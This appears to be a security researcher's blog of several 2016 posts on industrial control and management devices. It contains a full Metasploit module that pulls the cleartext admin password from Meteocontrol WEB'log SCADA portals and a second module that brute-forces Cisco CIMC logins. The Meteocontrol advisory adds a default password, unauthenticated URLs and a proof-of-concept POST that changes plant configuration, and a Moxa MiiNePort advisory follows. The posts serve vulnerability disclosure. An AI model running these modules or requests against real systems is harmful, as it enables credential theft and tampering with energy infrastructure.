Wednesday, May 18, 2016

[ICS] Meteocontrol WEB'log password extraction - Metasploit module

Meteocontrol WEB'log password extraction - Metasploit module

Posted here:

# Exploit Title: [Meteocontrol WEB'log - Extract Admin password]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [http://www.meteocontrol.com/en/]
# Versions Reported: [All Meteocontrol WEB'log versions]
# CVE-ID: [CVE-2016-2296]

# Meteocontrol WEB'log - Metasploit Auxiliary Module [modules/auxiliary/admin/scada/meteocontrol_weblog_login.rb]


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'        => 'Meteocontrol WEBLog Password Extractor',
      'Description' => %{
This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog (all models). This vulnerability allows extracting Administrator password for the device management portal.

},
      'References'  =>
        [
             [ 'URL', 'http://ipositivesecurity.blogspot.in/2016/05/ics-meteocontrol-weblog-security.html' ],
             [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01' ]
        ],
      'Author'         =>
        [
          'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
        ],
      'License'        => MSF_LICENSE
    ))

    register_options(
    [
        Opt::RPORT(8080) # Application may run on a different port too. Change port accordingly.
    ], self.class)
  end

  def run_host(ip)
    unless is_app_metweblog?
      return
    end

    do_extract
  end

  #
  # Check if App is Meteocontrol WEBlog
  #

  def is_app_metweblog?
    begin
      res = send_request_cgi(
      {
        'uri'       => '/html/en/index.html',
        'method'    => 'GET'
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
      return false
    end

    if (res and res.code == 200 and (res.headers['Server'].include?("IS2 Web Server") or res.body.include?("WEB'log")))
      print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...")
      return true
    else
      print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.")
      return false
    end
  end

  #
  # Extract Administrator Password
  #

  def do_extract()
    print_status("#{rhost}:#{rport} - Attempting to extract Administrator password")
    begin
      res = send_request_cgi(
      {
        'uri'       => '/html/en/confAccessProt.html',
        'method'    => 'GET'
      })

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
      print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
      return :abort
    end

    if (res and res.code == 200 and res.body.include?("szWebAdminPassword") or res.body=~ /Admin Monitoring/)
        get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/)
        admin_password = get_admin_password[1]
        print_good("#{rhost}:#{rport} - Password is #{admin_password}")
        report_cred(
                ip: rhost,
                port: rport,
                service_name: 'Meteocontrol WEBlog Management Portal',
                password: admin_password,
                proof: res.body
      )
    else
        # In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Try login manually in such cases.
        print_error("Password not found. Check login manually.")
    end
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: Time.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end
end

+++++

Cheers!

Saturday, May 14, 2016

[ICS] Meteocontrol WEB’log Multiple Vulnerabilities

[ICS] Meteocontrol WEB’log Multiple Vulnerabilities

About MeteoControl WEB’log

Meteocontrol is a Germany-based company that maintains offices in several countries around the world, including the US, China, Italy, Spain, France, Switzerland, and Israel.


The affected products, WEB’log, are web-based SCADA systems that provide functions to manage energy and power configurations in different connected (energy/industrial) devices. 

According to Meteocontrol, WEB’log is deployed across several sectors including Commercial Facilities, Critical Manufacturing, Energy, and Water and Wastewater Systems. Meteocontrol estimates that these products are used primarily in Europe with a small percentage in the United States.


Product details here:

Multiple versions of this application are offered:
WEB'log Basic 100
WEB'log Light
WEB'log Pro
WEB'log Pro Unlimited
All Meteocontrol’s WEB’log versions / flavors have the same underlying design and are vulnerable.

This product is deployed primarily in Power & Energy domain, and is used worldwide. It is rebranded in different countries, a few that I came across are as follows:

WEB’log Pro (branded by Siemens) - US
Powador-proLOG (branded by KACO new energy) - Germany
Aurora Easy Control / Aurora Easy Control Basic (both branded by power one) - Italy
Data Control Pro (branded by Mastervolt) - France

+++++
Weak Credential Management

Default Login password is ist02
-> gives easy administrative access to anyone

Issue:
Mandatory password change is not enforced by the application.

As a mitigation, vendor's team has now added an additional message pop up if the password is default.

> The problem is that they still have not enforced a mandatory password change. Relying on end user to change the default password is not a good security practice. Instead, the application must have a mechanism to ensure that user changes any default login password(s) to strong values.

Access Control Flaws
CVE-2016-2296

Though there is a Login page to enter administrator password and access Monitoring and Measurement functions, the application does not enforce any access control.

All pages, functions, and data, can still be accessed without administrative log in. This can be achieved by directly accessing the URLs.

This includes access to configuration pages, ability to change plant data, configured modbus/inverter devices, configuration parameters, and even rebooting the device.

For example:
Making the following direct request, dumps the source code of page that contains administrator password-
http://IP/html/en/confAccessProt.html

Modbus related configuration can be dumped by calling the following url:
http://IP/html/en/confUnvModbus.html

Access modbus devices
http://IP/html/en/ajax/viewunvmodbus.xml

Access Inverters details/status
http://IP/html/en/viewStatusWrSiemens.html

Similarly, POST requests can be used to Modify Plant Configuration Data.

PoC [ I have removed actual data from the attack request]

POST /ist.cgi HTTP/1.1
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://IP/html/en/confAnlage.html
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: X
anlageFaxTime=5&ucDigitalOutReset=0&anlagebez1=&anlagebetreiber=&anlageleistung=&anlageflaeche=&anlageetaModul=&anlageetaWR=&anlageAnzTeil=&anlageintervall=&anlageOrient=&anlageNeigung=&anlageModultyp=&anlageWrtyp=&anlageEmailAdr=4&anlageEmailAdrCC1=&anlageEmailAdrCC2=&anlageSendDayDataActive=&dialprefix=&dialmethod=&dialringtmo=&anlageCountryPrefix=&sys_locale=en&rufannahme=&dialringmax=&anlageFaxContact=&iHour=&iMinute=

Issue:
Access control is not enforced correctly.

As a fix, vendor team reported:
Login is now protected via Basic access authentication (BA).
So direct access is not possible any more.

I think this should resolve access control issues.

Sensitive information exposure
CVE-2016-2298

As noted above, Administrator password is stored in clear-text. So anyone can make a request to this page and get the clear-text Administrative password for the application, and gain privileged access.

Issue:
Password is stored in clear-text.

As a fix, vendor has confirmed: password will not be stored/presented in clear-text anywhere.


Hidden/Obscured CMD shell
CVE-2016-2297

Another interesting feature is presence of a CMD shell. Meteocontrol WEB'log management application offers a CMD shell which allows running a restricted set of commands that gives host, application and stats data.

And as like other functions, it can be accessed directly without any authentication -
http://IP/html/en/xprtCmd.html

According to vendor team, (quoted):
Even in case of users passed the basic authentification correctly, the user is not able to use the pseudo-shell for any critical system commands. The command set is limited to debug features only.

> I am not sure why such a shell is even necessary in the first place. There are certainly other, better secure ways to gather debug data and / or troubleshoot device issues. 

Assuming no one will be able to figure out a technique to exploit this feature, is not a great idea.

No CSRF protection - Vulnerable to CSRF attacks
CVE-2016-4504
There is no CSRF Token generated per page and / or per (sensitive) function. Successful exploitation of this vulnerability can allow silent execution of unauthorized actions on the device such as modifying plant data, modifying modbus/inverter/any other PLC devices, changing Administrator password, changing configuration parameters, saving modified configuration, & device reboot.

I reported this later to ICS-CERT, so don't know if it has been communicated to vendor team or not.

Update: ICS-CERT has updated its original advisory.

+++++
ICS-CERT published Meteocontrol advisory at:

Note that it is not complete and accurate. I have already sent my comments to ICS-CERT team to correct their report. Hopefully they will update it soon.
+++++

So how bad is Meteocontrol WEB'log current state of security?

There is no security. It is a free play, as you would have noticed.

And the risk is HIGH. Due to access control issues, above described vulnerabilities can be remotely exploited easily, at a mass scale, in an automated manner.

At this point, it is easy to write a script that will POST (write) arbitrary configuration parameters to WEB'log applications, and reboot the devices, at a mass scale.

As a proof of concept code, I have written a module that can extract Administrator password off of WEB'log management portals. I will be posting the module shortly.

Anyone using Meteocontrol WEB'log in their network environment, need to update/upgrade the application version with latest patch/firmware/software versions, AND, restrict management portals from being accessible over the Internet - right now.

+++++
Cheers!

New Metasploit Auxiliary module - Cisco CIMC Login Brute Force

On my latest pen test engagement in Argentina, I came across several Cisco Integrated Management Controller devices running management portals. So, I wrote up a new Metasploit Auxiliary module for login brute forcing these management portals. Works sweet. Try it out:

https://github.com/juushya/Scripts

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Cisco Integrated Management Controller Login Brute Force Utility',
      'Description'    => %{
        This module scans for Cisco Integrated Management Controller (CIMC) login portal(s), and
        performs a login brute force attack to identify valid credentials.
      },
      'Author'         =>
        [
          'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
        ],
      'License'        => MSF_LICENSE,

      'DefaultOptions' =>
        {
                 'SSL' => true
        }
  ))

    register_options(
      [
        Opt::RPORT(443),
        Opt::SSLVersion
      ], self.class)
  end

  def run_host(ip)
    unless is_app_cimc?
      return
    end

    each_user_pass do |user, pass|
      do_login(user, pass)
    end
  end

  #
  # What's the point of running this module if the target actually isn't CIMC
  #

  def is_app_cimc?
    begin
      res = send_request_cgi(
      {
        'uri'       => '/public/cimc.esp',
        'method'    => 'GET'
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
      return false
    rescue ::OpenSSL::SSL::SSLError
      vprint_error("#{rhost}:#{rport} - SSL/TLS connection error. Change SSL/TLS version and try again.")
      return false
    end

    if (res and res.code == 200 and res.headers['Server'].include?("Mbedthis-Appweb") and res.body.include?("hostname"))
      vprint_good("#{rhost}:#{rport} - Running Cisco Integrated Management Controller portal...")
      return true
    else
      vprint_error("#{rhost}:#{rport} - Application is not CIMC. Module will not continue.")
      return false
    end
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: Time.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  #
  # Brute-force the login page
  #

  def do_login(user, pass)
    vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
    begin
      res = send_request_cgi(
      {
        'uri'       => '/data/login',
        'method'    => 'POST',
        'vars_post' =>
          {
            'user' => user,
            'password' => pass
          }
      })
 rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
      vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
      return :abort
    end

    if (res and res.code == 200 and res.headers.include?('Set-Cookie') and res.body.include?("<authResult>0") and res.body.include?("<forwardUrl>index.html"))
        print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
        report_cred(
                ip: rhost,
                port: rport,
                service_name: 'Cisco Integrated Management Controller Portal',
                user: user,
                password: pass,
                proof: res.body
      )
      return :next_user
    else
        print_error("FAILED LOGIN - #{rhost}:#{rport} -#{user.inspect}:#{pass.inspect}")
    end

  end
end

Tuesday, May 3, 2016

Hola!

Few posts lately. Been busy with travel & research work on the side.

Posted a new Moxa MiiNePort advisory today. It's been 5 months that I reported it to vendor via CERT team. And Moxa came back finally saying they will fix stuff in August. Same goes with other vendors. Heck, some of the vendors take weeks to reply back.

RFD is the right way to disclose security flaws, and CERT guys are super helpful, but just a few vendors seem to take it seriously, and handle RFD communication professionally & responsibly. Sucks!

Anyhow, watch the space on for 5-6 freshly baked, 0-day advisories & 1 new Metasploit auxiliary module, coming up soon. I have already shared some of those with CERT/ICS-CERT, & as for others, giving a thought. I'll probably start releasing them soon and not wait on vendors for months.

It'd be cool to release those at some conference.! If you have any suggestions, drop in a comment.

+++++
Cheers!

[ICS] Moxa MiiNePort - Multiple Vulnerabilities

[ICS] Moxa MiiNePort - Multiple Vulnerabilities

Multiple vulnerabilities are present in Moxa MiiNePort. Following versions have been verified, but it is highly probable all other versions are affected as well.

About

Moxa provides a full spectrum of quality products for industrial networking, computing, and automation, and maintains a distribution and service network that reaches customers in more than 70 countries. Our products have connected over 30 million devices worldwide in a wide range of applications, including factory automation, smart rail, smart grid, intelligent transportation, oil & gas, marine, and mining. By continually improving staff expertise in a variety of technologies and markets, we aim to be the first choice for industrial automation solutions.

Moxa's embedded serial-to-Ethernet device server modules are small, consume less power, and integration is easy.
The embedded serial-to-Ethernet device servers modules consist of the MiiNePort serial device server series and the NE device server module series. 

Moxa’s MiiNePort E3 series embedded device servers are designed for manufacturers who want to add sophisticated network connectivity to their serial devices with minimal integration effort. The MiiNePort E3 is empowered by the MiiNe, Moxa’s second generation SoC, which supports 10/100 Mbps Ethernet, up to 921.6 kbps serial baudrate, a versatile selection of ready-to-use operation modes, and requires only a small amount of power. By using Moxa’s innovative NetEZ technology, the MiiNePort E3 can be used to convert any device with a standard serial interface to an Ethernet enabled device in no time. In addition, the MiiNePort E3 is a compact embedded device server with an RJ45 connector, making it easy to fit into virtually any existing serial device.

http://www.moxa.com/product/MiiNePort_E1.htm
http://www.moxa.com/product/MiiNePort_E2.htm
http://www.moxa.com/product/MiiNePort_E3.htm

Confirmed Device Models + Firmware versions

Device name MiiNePort_E1_7080
Firmware version 1.1.10 Build 09120714

Device name MiiNePort_E1_4641
Firmware version 1.1.10 Build 09120714

Device name MiiNePort_E2_1242
Firmware version 1.1 Build 10080614

Device name         : MiiNePort_E2_4561
Firmware version    : 1.1 Build 10080614

Model name MiiNePort E3
Firmware version 1.0 Build 11071409

Vulnerability Summary
1. Weak Credentials Management - CVE-2016-2286
2. Sensitive information not protected - CVE-2016-2295
3. Vulnerable to Cross-Site Request Forgery - CVE-2016-2285

Vulnerability Description

1. Weak Credentials Management
By default, no password is set on the device / application. This allows anyone to access the device over HTTP and Telnet. Access to the device provides full administrative functionality.

> The device / application should have a mandatory password change mechanism in place, forcing users to a) set the password on first login, b) ensure the password meets complexity requirements, and c) change password periodically.


2. Sensitive information not protected
Information such as Connect passwords, SNMP community strings is not protected and shown in clear-text when viewing and / or downloaded device config (HTTP / Telnet).

> The application should mask/censure/encrypt any sensitive information such as passwords, keys, strings, etc, both at the management portal forms as well as in the device configuration files. Additionally, secure transport must be used by default (TLS).


3. Vulnerable to Cross-Site Request Forgery
There is no CSRF Token generated per page and / or per (sensitive) function. Successful exploitation of this vulnerability allows silent execution of unauthorized actions on the device such as password change, configuration parameter changes, saving modified configuration, & device reboot. 

-> Related Controls



+++++

Disclaimer

The views, information & opinions expressed in this blog are my own and do not reflect the views of my current or former employers or employees or colleagues.